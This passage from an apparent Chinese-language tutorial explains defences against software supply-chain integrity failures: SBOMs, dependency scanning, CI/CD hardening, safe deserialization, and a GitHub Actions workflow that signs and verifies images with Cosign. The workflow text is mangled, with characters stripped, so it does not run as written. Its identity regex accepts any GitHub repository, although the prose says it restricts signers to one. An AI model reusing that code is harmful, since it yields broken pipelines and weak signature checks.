Azure Key Vault中构建服务器通过临时凭证访问绝不能硬编码在脚本或配置文件中。建立信任链通常使用根证书签发中间证书再用中间证书签发代码签名证书。这样即使某个中间证书泄露可以快速吊销而不影响整个根信任。4.2 原则二强化软件供应链安全SBOM与SCA你无法保护你不了解的东西。软件物料清单SBOM就是你的软件“成分表”。它清晰地列出了应用的所有直接和间接依赖包括版本、许可证、来源。结合软件成分分析SCA工具这是防御供应链攻击的第一道防线。自动生成SBOM在CI流水线中集成工具如Syft, SPDX, CycloneDX生成器在每次构建时自动生成当前制品的SBOM。这应该成为一个强制性的构建产物。持续扫描与阻断集成SCA工具如Snyk, Mend, DependencyTrack到CI/CD流程中。配置策略当发现关键依赖存在已知高危漏洞CVSS评分高或许可证不合规时自动失败Fail该次构建阻止有问题的制品向下游流动。溯源与应急响应当某个开源组件爆发安全事件如log4j2时SBOM能让你在几分钟内定位到所有受影响的应用和服务而不是手动翻查所有pom.xml或package.json。心得不要把SCA扫描只放在开发阶段。生产环境运行的容器镜像其内部的库版本可能和开发时声明的依赖不同由于多阶段构建、基础镜像自带库等。务必对最终的生产镜像进行SBOM生成和扫描这才是最真实的状态。4.3 原则三硬化CI/CD管道管道是软件从代码到生产的“产线”必须像保护生产环境一样保护它。最小权限原则CI Runner执行构建任务的代理使用仅具有项目所需最小权限的服务账户。例如一个构建Docker镜像的Runner不需要对生产数据库的访问权限。严格管理访问令牌如GitHub Token, Docker Registry Token。使用短时效的OAuth令牌或动态凭据如Vault提供的而非长期有效的静态密钥。管道即代码Pipeline as Code与代码审查将管道定义如.gitlab-ci.yml,Jenkinsfile, GitHub Actions Workflow也纳入版本控制并强制进行代码审查。防止任何人通过Web界面直接修改管道配置注入恶意步骤。隔离构建环境使用一次性的、干净的构建环境如容器、临时VM。避免使用持久化的、共享的构建服务器防止构建间交叉污染。校验上游输入管道中使用的任何外部资源如从外部URL下载的脚本、从其他项目复制的配置模板在运行前都应校验其哈希值SHA256或签名。例如在Dockerfile中ADD或COPY远程文件时最好先下载并校验或者使用有签名验证的基础镜像。4.4 原则四安全的数据处理与反序列化对于应用层的数据完整性核心是“验证一切输入”。反序列化的安全实践首选方案避免反序列化不可信数据。如果必须使用安全的、数据驱动的格式如纯JSON、YAML并通过严格的模式Schema进行验证如使用JSON Schema。如果必须使用对象序列化如Java的ObjectInputStream使用白名单机制通过自定义的ObjectInputFilterJava 9限制允许反序列化的类。升级到已知修复了危险gadget链的库版本。考虑使用更安全的替代序列化库如Google的Protocol Buffers、Kryo配置安全模式或Jackson用于JSON。完整性校验码哈希的应用用户上传文件后计算并存储其哈希值如SHA-256。后续任何使用或分发该文件时都重新计算哈希进行比对。从外部API获取重要配置数据时如果API提供方支持可以要求其同时返回数据的签名客户端用预置的公钥进行验证。在微服务间传递敏感消息时可以对消息体进行签名确保消息在传输过程中未被篡改。配置安全避免将配置尤其是包含密钥、连接串的配置明文存储在代码库或配置文件中。使用加密的配置管理服务如HashiCorp Vault, AWS Secrets Manager并在应用启动时动态拉取和解密。对于必须放在配置文件中的内容确保文件权限严格限制并考虑对配置文件本身进行签名。5. 实战配置与工具链集成示例理论说再多不如看一套具体的、可落地的组合拳。下面以一个基于GitHub Actions和Docker的云原生应用为例展示如何将上述防御原则集成到CI/CD流水线中。5.1 示例流水线设计假设我们有一个简单的Node.js Web应用使用Docker容器化部署。我们的目标是建立一个从代码提交到镜像部署的完整性保护链条。工具栈选择版本控制与CI/CDGitHub GitHub Actions容器镜像仓库GitHub Container Registry (GHCR) 或 AWS ECR镜像签名与验证Cosign (Sigstore项目)SBOM生成Syft漏洞扫描Trivy (集成SBOM生成与镜像扫描)密钥管理GitHub Actions Secrets HashiCorp Vault (或云厂商KMS)5.2 关键步骤与配置详解以下是.github/workflows/ci-cd.yml的关键部分name: Secure Build and Deploy on: push: branches: [ main ] pull_request: branches: [ main ] # 1. 定义环境变量和密钥 env: REGISTRY: ghcr.io IMAGE_NAME: ${{ github.repository }} jobs: build-and-sign: runs-on: ubuntu-latest permissions: contents: read packages: write id-token: write # 关键用于Sigstore的OIDC令牌 steps: - name: Checkout code uses: actions/checkoutv4 with: # 验证提交签名如果要求了签名提交 fetch-depth: 0 - name: Setup Node.js uses: actions/setup-nodev4 with: node-version: 18 - name: Install dependencies run: npm ci # 使用ci而非install确保依赖锁文件一致 - name: Run tests run: npm test # 2. 使用Trivy扫描依赖漏洞并生成SBOM - name: Run Trivy vulnerability scanner uses: aquasecurity/trivy-actionmaster with: scan-type: fs format: sarif output: trivy-results.sarif severity: CRITICAL,HIGH # 仅关注高危及以上 - name: Upload Trivy scan results to GitHub Security uses: github/codeql-action/upload-sarifv3 if: always() with: sarif_file: trivy-results.sarif # 3. 构建Docker镜像 - name: Build Docker image run: | docker build . -t ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} docker tag ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest # 4. 生成并附加SBOM到镜像 - name: Generate SBOM run: | docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \ anchore/syft:latest ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} \ -o spdx-json sbom.spdx.json - name: Attach SBOM to image run: | cosign attach sbom --sbom sbom.spdx.json ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} # 5. 登录镜像仓库并推送镜像 - name: Log in to registry uses: docker/login-actionv3 with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Push Docker image run: | docker push ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} docker push ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest # 6. 使用Cosign对镜像进行签名关键步骤 - name: Sign the built Docker image uses: sigstore/cosign-installermain - name: Sign image with Cosign run: | # 使用GitHub Actions的OIDC令牌获取短期签名密钥无需管理长期私钥 cosign sign --yes ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} deploy: needs: build-and-sign runs-on: ubuntu-latest if: github.event_name push github.ref refs/heads/main environment: production # 使用GitHub环境可以配置审批和专属密钥 steps: - name: Verify image signature before deploy uses: sigstore/cosign-installermain - name: Verify Cosign signature run: | # 在部署前验证镜像签名确保是我们刚刚签名的镜像 cosign verify ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} \ --certificate-oidc-issuer https://token.actions.githubusercontent.com \ --certificate-identity-regexp ^https://github.com/.*$ # 如果验证失败这一步会报错整个部署任务终止。 # 7. 部署到Kubernetes示例 - name: Deploy to Kubernetes uses: azure/k8s-deployv4 with: namespace: default manifests: | k8s/deployment.yaml k8s/service.yaml images: | ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} kubectl-version: latest流程解读与避坑点OIDC令牌是关键注意permissions中设置了id-token: write。这允许GitHub Actions工作流从GitHub的OIDC身份提供商获取一个短期令牌。Cosign使用这个令牌向Sigstore的fulcio服务申请一个短期的代码签名证书无需你预置和管理任何长期私钥。这是现代密钥管理的最佳实践。扫描与阻断Trivy扫描步骤如果发现CRITICAL或HIGH级别漏洞可以配置为让构建失败示例中仅上传结果实际可根据策略调整。这是供应链安全的重要闸口。SBOM即资产使用Syft生成SPDX格式的SBOM并cosign attach sbom将其附加到镜像本身。这样镜像和它的“成分表”就绑定在一起了任何人都可以用cosign download sbom命令查看。签名在推送后我们是在推送镜像到仓库后才进行签名的。这是因为Cosign签名是作为OCI镜像的一个独立层附件推送到仓库的与镜像本身分离。部署前的强制验证在deploy任务中第一步就是验证镜像的Cosign签名。--certificate-identity-regexp参数限定了签名者必须来自正确的GitHub仓库防止使用其他来源的镜像冒名顶替。这一步是防御A08的最后一道也是最关键的防线确保只有经过完整可信流程构建和签名的镜像才能被部署。6. 常见问题排查与进阶思考即使搭建了上述流程在实际运营中还是会遇到各种问题。这里记录几个典型场景和排查思路。6.1 镜像签名验证失败问题部署时cosign verify失败错误可能是“没有找到签名”、“证书无效”或“身份不匹配”。排查清单检查签名是否确实存在cosign tree $IMAGE查看镜像的所有附件签名、SBOM等。确认签名层已成功推送。检查OIDC颁发者和身份确保verify命令中的--certificate-oidc-issuer和--certificate-identity-regexp与签名时使用的完全匹配。在GitHub Actions中签名者的身份通常是类似https://github.com/你的组织/你的仓库/.github/workflows/ci-cd.ymlrefs/heads/main的格式。使用cosign verify $IMAGE --output json | jq可以查看签名证书的详细信息核对Issuer和Subject。检查时间戳Sigstore的证书是短期的通常10分钟。如果你的验证发生在签名很久之后证书可能已过期。这时需要验证时间戳服务Rekor提供的证据命令需加上--certificate-identity和--certificate-oidc-issuer并确保能访问Rekor服务。网络策略确保部署环境如K8s集群内能够访问Sigstore的公共服务fulcio, rekor或你部署的内部服务。6.2 CI流水线中的依赖扫描误报或漏报问题SCA工具如Trivy报告了大量漏洞但很多似乎不适用误报或者担心有漏掉的漏洞漏报。处理建议理解漏洞上下文很多CVE漏洞存在于某个库的某个函数中但如果你的代码根本没有调用那个函数风险可能被高估。不要盲目升级导致兼容性问题。建立内部的安全评审流程对扫描结果进行人工研判。使用漏洞数据库例外策略大多数SCA工具支持通过.trivyignore或策略文件忽略特定漏洞。但必须记录忽略原因如“非调用路径”、“已部署WAF防护”并定期复审。组合使用多种工具没有一款工具能覆盖100%。可以同时运行多个扫描器如Snyk, Grype并对比结果。在关键项目中可以考虑引入付费工具或更专业的服务。扫描生产镜像务必对最终的生产镜像进行扫描而不是仅扫描package.json。多阶段构建、基础镜像的漏洞都只能通过扫描最终镜像发现。6.3 如何管理庞大的密钥和证书挑战为所有项目、所有环境开发、测试、生产管理代码签名密钥、镜像签名证书、仓库凭证等复杂度极高。进阶方案集中化密钥管理服务KMS将所有密钥如对称加密密钥、代码签名私钥的引用存储在云厂商的KMS或HashiCorp Vault中。应用程序和CI/CD工具通过IAM角色或动态令牌临时申请使用密钥无需持久化存储密钥本身。使用短期证书如Sigstore正如示例中使用Cosign OIDC完全避免了长期私钥的管理问题。签名证书自动生成、短期有效、通过公开透明的日志Rekor验证。这是未来的发展方向。秘密注入Secret Injection在Kubernetes中使用Secrets对象并通过Sidecar如Vault Agent或Init Container动态地将秘密注入到应用容器中而不是将秘密打包进镜像或环境变量文件。6.4 面对不可签名的第三方服务或数据怎么办现实困境你的应用可能需要从某个外部商业API获取数据或者使用一个不提供签名机制的第三方SaaS服务。你无法控制对方是否签名。缓解措施传输层完整性TLS确保所有通信都使用强TLS1.2并正确验证服务器证书防止中间人篡改。应用层校验如果服务方提供可以使用API密钥请求参数签名如HMAC的方式确保请求和响应在传输过程中的完整性。对于响应数据可以要求服务方返回数据的哈希值供你本地校验。输入验证与沙箱对获取的数据进行极其严格的模式验证Schema Validation只接受符合预期结构的数据。对于需要执行的数据如配置文件、模板考虑在沙箱环境如安全的解释器、容器中运行限制其权限。降低信任度将这些数据源视为“低信任”源。处理这些数据的服务模块应该与其他高信任模块隔离拥有最小权限并且其操作应被详细审计和监控。A08之所以稳居Top 10是因为它直指现代软件工程信任模型的软肋。防御它没有银弹而是一套需要融入开发、运维、安全每一个环节的“卫生习惯”。从开发者签名一次提交到运维人员验证一个镜像签名每一个微小的动作都是在加固这条从代码到生产的信任链条。它不像修复一个SQL注入点那样立竿见影但一旦建立起这套体系你将能有效抵御那些最隐蔽、危害也最大的供应链攻击。说到底安全就是一个不断降低信任假设的过程而确保软件与数据的完整性正是这个过程的基石。
![[C++]内存管理：串顺序存储的内存回收](http://pic.xiahunao.cn/yaotu/[C++]内存管理：串顺序存储的内存回收)
